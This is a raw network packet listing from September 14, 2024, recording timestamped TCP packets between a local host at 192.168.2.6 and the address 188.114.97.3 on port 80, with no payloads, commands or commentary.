Sep 14, 2024 18:44:14.014491081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014523029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014550924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.014556885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014600992 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.014812946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014847040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014878988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014890909 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.014911890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014945984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.014961958 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.014978886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015012026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015022039 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.015043974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015086889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.015127897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015207052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015242100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015249968 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.015275002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015310049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015326977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.015342951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015377045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015408993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.015428066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015461922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015475035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.015495062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015537024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.015784025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015818119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015851021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015866041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.015883923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015918016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015933037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.015949965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015983105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.015994072 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.016016006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016047001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016058922 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.016081095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016113043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016122103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.016200066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016243935 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.016285896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016319990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016351938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016364098 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.016386986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016419888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016427994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.016453028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016496897 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.016745090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016777992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016812086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016830921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.016844988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016877890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016890049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.016911983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016944885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.016957045 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.016978979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.017010927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.017024040 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.017044067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.017076969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.017086983 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.017112017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.017144918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.017159939 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.017189026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.017234087 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.017240047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.062532902 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.076153040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076179981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076191902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076267004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.076292992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076304913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076316118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076328039 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076338053 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.076373100 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.076503038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076514959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076527119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076538086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076549053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076550961 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.076581955 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.076606989 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.076723099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076735020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076745033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076792002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.076792002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.076796055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076807976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076819897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076832056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076838017 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.076843023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.076858997 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.076886892 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.077219009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.077230930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.077240944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.077259064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.077270985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.077281952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.077291965 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.077292919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.077305079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.077313900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.077332973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.077342987 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.101870060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.101927042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.101974964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.101978064 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.102041006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.102075100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.102092981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.102123976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.102157116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.102168083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.102195024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.102229118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.102241993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.102395058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.102442980 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.102444887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.102478027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.102510929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.102520943 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.102545023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.102577925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.102611065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.102612019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.102644920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.102657080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.102684975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.102727890 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.102937937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.102971077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103003979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103020906 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.103037119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103069067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103084087 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.103101015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103132963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103142977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.103166103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103199005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103209972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.103233099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103267908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103279114 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.103302002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103363991 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.103416920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103449106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103481054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103490114 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.103514910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103548050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103580952 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.103581905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103630066 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.103864908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103897095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103930950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103940964 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.103965044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.103996992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104007959 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.104029894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104063034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104072094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.104094982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104129076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104146004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.104161978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104196072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104206085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.104229927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104263067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104274988 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.104294062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104326010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104343891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.104357958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104391098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104402065 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.104423046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104458094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104469061 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.104784012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104837894 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.104849100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104882956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104917049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104928017 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.104948997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104980946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.104990959 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.105014086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105046034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105065107 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.105077982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105110884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105124950 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.105144024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105176926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105187893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.105211973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105243921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105256081 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.105278015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105309963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105326891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105356932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.105361938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105384111 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.105622053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105655909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105669022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.105688095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105721951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105736971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.105755091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105787039 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105794907 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.105820894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105854034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105865955 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.105887890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105922937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105931044 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.105954885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105988979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.105998039 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.156317949 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.164589882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.164642096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.164653063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.164694071 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.164721012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.164731979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.164742947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.164771080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.164800882 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.164872885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.164882898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.164892912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.164936066 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.165009022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165019989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165090084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.165159941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165170908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165179968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165190935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165200949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165210962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165234089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.165246964 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.165465117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165496111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165507078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165517092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165520906 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.165533066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165544033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165553093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165559053 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.165563107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165571928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165580988 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.165584087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165596008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165626049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.165626049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.165642977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.165889025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165899038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165909052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.165949106 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.190319061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.190355062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.190386057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.190387011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.190421104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.190443993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.190455914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.190489054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.190501928 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.190526962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.190560102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.190571070 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.190627098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.190671921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.190677881 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.190769911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.190804005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.190819025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.190836906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.190871954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.190880060 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.190906048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.190957069 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.191047907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191163063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191196918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191212893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.191231966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191263914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191278934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.191297054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191329956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191340923 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.191418886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191452980 CEST	80	49722	188.114.97.3	192.168.2.6
